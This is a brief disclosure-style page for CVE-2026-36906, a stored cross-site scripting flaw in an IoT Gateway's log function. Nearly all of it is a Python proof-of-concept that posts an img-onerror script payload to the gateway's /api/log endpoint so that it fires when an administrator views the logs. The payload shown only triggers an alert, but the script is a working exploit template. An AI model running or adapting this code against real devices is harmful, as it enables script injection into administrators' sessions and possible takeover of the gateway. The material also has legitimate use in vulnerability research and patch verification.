CVE-2026-36906: IoT Gateway日志记录XSS漏洞

import requests # PoC for CVE-2026-36906 # Target: iotgateway v3.0.1 Log Record Function target = "http://192.168.1.100:8080" payload = "<img src=x onerror=alert('XSS')>" # Sending payload to the log endpoint headers = {"Content-Type": "application/json"} data = {"log": payload} try: r = requests.post(f"{target}/api/log", json=data, headers=headers) if r.status_code == 200: print("[+] Payload injected successfully. Check the admin log page.") else: print(f"[-] Request failed with status code: {r.status_code}") except Exception as e: print(f"[!] Error: {e}")